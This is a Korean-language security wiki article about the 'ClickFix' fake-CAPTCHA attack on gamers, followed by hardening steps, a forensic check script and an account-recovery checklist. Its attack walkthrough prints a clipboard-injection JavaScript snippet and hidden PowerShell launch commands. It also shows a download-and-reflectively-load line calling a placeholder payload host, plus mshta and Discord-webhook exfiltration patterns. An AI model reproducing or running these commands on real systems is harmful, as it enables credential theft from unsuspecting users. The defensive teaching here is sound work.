광고 자리 모집 중 · 제휴 문의

ClickFix 피싱 기법 분석: 가짜 캡차 인증, 클립보드 탈취 및 파워셸 악성코드 실행 방어

365Finds Editorial
Wiki 문서 11,430편 수록

내 AI에서 365 Wiki 사용하기

아래 프롬프트를 복사해 평소 사용하는 AI에 붙여넣고 바로 질문하세요.

전체 Skill 다운로드

먼저 프롬프트로 체험해 보세요. 365 Wiki를 자주 쓴다면 전체 365Wiki Skill을 설치해 매번 붙여넣는 수고를 줄일 수 있습니다. 평소 쓰는 AI가 없다면 Gemini나 Microsoft Copilot 웹 버전도 사용할 수 있습니다.

서론: 게이머를 노리는 신종 사회공학 공격 "ClickFix"의 부상

PC 게임 환경에서 모드 배포 사이트, 셰이더(Shaders) 포럼, 불법 복제 크랙 다운로드 페이지 및 런처 오류 해결 포럼은 사이버 범죄자들의 핵심 표적입니다. 오랫동안 게이머를 노린 악성코드는 트레이너, 에임봇, 모드 인스톨러로 위장한 .exe나 .zip 파일을 직접 다운로드하도록 유도하는 방식에 의존했습니다. 그러나 Chrome, Edge, Firefox 등 최신 웹 브라우저와 Windows 운영체제는 SmartScreen 평판 시스템, 다운로드 샌드박스 격리, 피싱 원격 분석 등 강력한 다계층 방어막을 구축해 두었습니다.

이러한 브라우저 수준의 보안 체계를 완벽하게 우회하기 위해 공격자들은 ClickFix(일명 '가짜 캡차' 또는 '클립보드 실행' 공격)라는 고도화된 사회공학적 기법을 개발했습니다. ClickFix는 사용자에게 의심스러운 파일을 내려받게 하는 대신, 정교하게 위조된 사람 확인 화면(CAPTCHA)을 띄운 뒤 피해자 스스로 Windows 실행창(Win + R) 또는 PowerShell을 열어 난독화된 악성 셸 명령어를 붙여넣고 실행하도록 속입니다.

이 명령은 사용자가 본인의 운영체제 권한으로 정규 관리 도구를 직접 구동하는 것이므로, 브라우저 다운로드 기록에 남지 않고 디스크에 파일이 생성되지 않아 기존의 파일 기반 백신 검사와 브라우저 샌드박스를 완벽히 무력화합니다. 본 가이드에서는 ClickFix의 공격 수명 주기, AMSI 우회 메모리 구조, 그리고 체계적인 침해 조사 및 시스템 강화 방안을 다룹니다.

ClickFix 공격 흐름도: 유인책에서 메모리 침투까지

공격은 모드 설치나 오류 해결을 서두르는 게이머의 심리적 취약점을 파고들도록 정밀하게 설계되었습니다:

[1. 오염된 게임 리소스 웹페이지 방문 (예: "검은 신화 오공 렉 개선 패치", "GTA6 유출 빌드", "DLSS 3.5 모드")]
                                |
                                v
[2. 가짜 캡차 모달 창 출력: "로봇이 아님을 확인하세요" (Cloudflare Turnstile 또는 Google reCAPTCHA 완벽 위조)]
                                |
                                v
[3. 브라우저 DOM 이벤트: JavaScript가 navigator.clipboard.writeText(...)를 호출해 클립보드에 악성 명령어 주입]
                                |
                                v
[4. 기만적 지침 유도: "키보드의 Win + R을 누르고 Ctrl + V로 붙여넣은 뒤 Enter를 눌러 인증을 완료하세요"]
                                |
                                v
[5. 사용자가 실행창에서 엔터 입력: explorer.exe가 백그라운드에서 powershell.exe / cmd.exe를 구동]
                                |
                                v
[6. 난독화된 PowerShell 실행: AMSI 메모리 패치로 탐지 무력화 -> 2단계 페이로드(Lumma/Stealc 등) 다운로드]
                                |
                                v
[7. 계정 탈취: Steam 세션 쿠키, Discord 토큰, 브라우저 인증 데이터를 텔레그램 또는 C2 서버로 전송]

1단계: 정교한 게임 유인책 (SEO 포이즈닝)

공격자들은 인기 게임과 관련된 고빈도 검색어를 노리고 수백 개의 일회용 도메인을 개설합니다:

2단계: 위조된 사람 확인 캡차 창

다운로드 버튼을 누르면 파일이 다운로드되는 대신, Cloudflare Turnstile, hCaptcha, Google reCAPTCHA와 구별할 수 없는 화면이 화면 전체를 덮습니다:

3단계: 클립보드 무단 조작

사용자가 안내문을 읽는 수 밀리초 사이에 웹페이지의 자바스크립트가 무단 실행됩니다:

// 클릭 이벤트를 악용해 시스템 클립보드에 악성 페이로드 주입
const payload = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Enc JABjAGwAaQBlAG4AdAAg... ";
navigator.clipboard.writeText(payload);

최신 Chromium 브라우저 환경에서도 사용자의 직접적인 마우스 클릭 이벤트 내부에서 호출된 navigator.clipboard.writeText()는 OS 권한 확인 창 없이 즉시 클립보드를 덮어쓸 수 있습니다. 피해자는 체크박스 하나만 눌렀을 뿐이지만, 클립보드에는 이미 무기화된 명령어가 채워져 있습니다.


기술적 해부: 악성 파워셸 명령어의 내부 실행 구조

피해자가 Win + R을 누르고 붙여넣은 뒤 Enter를 치는 순간, 시스템 explorer.exe가 파생시킨 PowerShell 프로세스는 보통 4단계를 거쳐 진행됩니다:

1. 창 숨김 및 실행 정책 우회

초기 구동 명령어는 시각적 은폐와 보안 제약을 무력화하는 파라미터로 구성됩니다:

  # 전형적인 ClickFix 1단계 구동 명령어
  powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "..."

2. 인메모리 AMSI(Antimalware Scan Interface) 무력화 패치

악성코드가 본격적인 백도어 바이너리를 내려받기 전에 가장 먼저 하는 일은 Windows Defender의 AMSI를 무력화하는 것입니다. AMSI는 스크립트 코드가 실행되기 직전 메모리상에서 악성 여부를 실시간 검사합니다.

공격자는 amsi.dll의 AmsiScanBuffer 함수를 표적으로 삼습니다:

3. 2단계 페이로드 인메모리 파일리스 인젝션

AMSI가 무력화되면 PowerShell은 네트워크를 통해 실제 인포스틸러 본체를 받아옵니다:

  # 메모리상에서 직접 바이너리를 수신하여 리플렉션으로 실행
  $data = (New-Object Net.WebClient).DownloadData('https://cdn-static-payload.example/games/loader.bin');
  [System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, $null);

.NET 리플렉션 [System.Reflection.Assembly]::Load를 사용해 메모리에서 직접 코드를 풀거나 합법적인 윈도우 프로세스(MSBuild.exe, svchost.exe 등)로 프로세스 할로잉(Process Hollowing)을 수행하므로, 하드디스크에는 그 어떤 악성 실행 파일도 남지 않습니다.

4. 게임 자산 및 인증 토큰 전방위 수집

최종 배포되는 인포스틸러(Lumma, Stealc, Vidar 등)는 게이머의 계정 정보를 정밀 타격합니다:


ClickFix 위협 매트릭스: 수법 및 포렌식 흔적 비교

공격 유인 유형사회공학적 기만 문구실행 경로핵심 기술 구성 요소침해 조사(포렌식) 흔적
가짜 Turnstile 캡차"모드 다운로드를 시작하려면 사람임을 확인하세요"Win + R -> powershell.exe -w hidden -encAmsiScanBuffer 메모리 패치 + IEX 웹 크래들이벤트 ID 4104(스크립트 블록 로깅); ConsoleHost_history.txt에 Base64 문자열
DirectX / 런타임 복구"d3dx9_43.dll 누락 감지, 터미널에 붙여넣어 자동 해결"관리자 PowerShell 터미널mshta.exe http://.../fix.hta 또는 스크립트Sysmon에 mshta.exe 비정상 실행 기록; 비-MS IP로의 아웃바운드 연결
디스코드 비공개 테스트 키"터미널에 고유 테스트 참가 토큰을 입력하세요"cmd.exe /c start /b powershell ...Discord Webhook 전송 스크립트discord.com/api/webhooks/...로의 ZIP 첨부 HTTPS POST 전송
셰이더 캐시 압축 해제기"사전 컴파일된 Vulkan 셰이더를 풀기 위해 명령을 실행하세요"일반 PowerShell 콘솔%TEMP% 경로에 악성 DLL 드롭 및 인젝션HKCU\Software\Microsoft\Windows\CurrentVersion\Run에 알 수 없는 자동 실행 등록

시스템 방어 엔지니어링: ClickFix에 맞춘 Windows 보안 강화

게이머와 시스템 관리자는 다음 보안 구성을 적용하여 공격을 원천 봉쇄할 수 있습니다:

1. PowerShell 스크립트 블록 로깅 활성화 (이벤트 ID 4104)

기본 설정에서 Windows는 대화형 명령의 전체 내용을 이벤트 로그에 남기지 않습니다. 심층 로깅을 활성화하면 난독화가 풀린 최종 스크립트가 이벤트 뷰어에 기록됩니다:

2. PowerShell 언어 제약 모드(CLM) 적용

언어 제약 모드(Constrained Language Mode)는 PowerShell에서 임의의 .NET 리플렉션([System.Reflection.Assembly]) 및 메모리 조작 API 호출을 전면 차단하여 인메모리 로더의 99%를 무력화합니다:

3. WDAC를 통한 mshta.exe 등 구형 스크립트 호스트 차단

공격자가 PowerShell 대신 mshta.exe(HTML 응용 프로그램 호스트)를 이용해 VBScript를 실행하는 수법을 막기 위해, Windows Defender Application Control(WDAC)로 mshta.exe, wscript.exe의 실행을 제한하거나 감사합니다.


PowerShell 침해 조사 스크립트: 감염 흔적 확인

만약 의심스러운 명령어를 실행창에 붙여넣은 적이 있다면 즉시 인터넷 연결을 끊고 다음 PowerShell 스크립트로 자체 침해 여부를 점검하십시오:

  # ClickFix 위협 자체 감사 및 포렌식 점검 스크립트
  Write-Host "=== ClickFix 침해 흔적 자체 점검 ===" -ForegroundColor Cyan
  
  # 1. PowerShell 콘솔 실행 기록 감사
  $historyPath = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
  if (Test-Path $historyPath) {
      Write-Host "`n[1] 최근 실행된 PowerShell 명령어 기록 점검 중..." -ForegroundColor Yellow
      $suspiciousPatterns = @("DownloadString", "DownloadData", "AmsiScanBuffer", "-enc", "-EncodedCommand", "mshta", "hidden", "bypass")
      $historyLines = Get-Content -Path $historyPath -Tail 50
      foreach ($line in $historyLines) {
          foreach ($pattern in $suspiciousPatterns) {
              if ($line -match $pattern) {
                  Write-Host "  [경고: 의심스러운 기록 감지]: $line" -ForegroundColor Red
                  break
              }
          }
      }
  }
  
  # 2. Windows 실행창 (RunMRU) 레지스트리 점검
  Write-Host "`n[2] Windows 실행창 (RunMRU) 기록 검사 중..." -ForegroundColor Yellow
  $runMruPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
  if (Test-Path $runMruPath) {
      $mruEntries = Get-ItemProperty -Path $runMruPath
      $mruEntries.PSObject.Properties | Where-Object { $_.Name -match "^[a-z]$" } | ForEach-Object {
          if ($_.Value -match "powershell|cmd|mshta|curl|bitsadmin") {
              Write-Host "  [위험: 실행창에 의심스러운 명령어 존재]: $($_.Name) = $($_.Value)" -ForegroundColor Red
          } else {
              Write-Host "  [정상 항목]: $($_.Name) = $($_.Value)" -ForegroundColor Gray
          }
      }
  }
  
  # 3. 사용자 시작 프로그램 레지스트리 점검
  Write-Host "`n[3] 사용자 시작 프로그램 레지스트리 점검 중..." -ForegroundColor Yellow
  $runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
  Get-ItemProperty -Path $runKey | Select-Object -Property * -ExcludeProperty PS* | Out-String | Write-Host -ForegroundColor Cyan

감염 발생 시 긴급 조치 및 계정 복구 프로토콜

점검 결과 악성 스크립트 실행이 확인된 경우 즉시 다음 절차를 따르십시오:

  1. 물리적 인터넷 차단: 유선 랜선을 뽑거나 Wi-Fi를 꺼서 탈취된 계정 정보가 C2 서버로 업로드되는 것을 즉시 차단합니다.
  2. 오염되지 않은 깨끗한 기기에서 모든 세션 즉시 만료:
    • 스마트폰이나 서브 PC로 Steam에 접속하여 설정 -> 보안 -> 모든 다른 기기 인증 취소를 실행해 도난당한 steamLoginSecure 쿠키를 무효화합니다.
    • Discord 비밀번호를 즉시 변경합니다. 비밀번호 변경 시 기존의 모든 사용자 토큰이 즉시 파기됩니다.
    • Google, Microsoft, Epic Games 등 모든 주요 계정에서 '모든 세션 로그아웃'을 실행하고 비밀번호를 교체합니다.
  3. Steam Web API 키 확인 및 파기: 안전한 기기에서 https://steamcommunity.com/dev/apikey에 접속하여 허가 없이 등록된 도메인이 있다면 즉시 등록을 취소합니다.
  4. 오프라인 정밀 백신 검사: Windows Defender 오프라인 검사나 부팅 가능한 복구 USB를 제작하여 시스템을 전수 검사합니다.
  5. 엔지니어링 원리에 입각한 보안 의식 함양: 정상적인 Cloudflare나 Google의 캡차 서비스는 브라우저 내부에서만 동작하며, 사용자에게 Win + R 실행창이나 터미널에 무언가를 붙여넣으라고 요구하는 정상적인 웹사이트는 단 하나도 없습니다. 365Finds와 같은 검증된 기술 지식 베이스를 통해 운영체제의 공격 표면과 보안 원리를 바르게 이해함으로써 교묘한 사회공학적 위협 속에서도 소중한 게임 계정과 디지털 자산을 지켜내십시오.

참고 문헌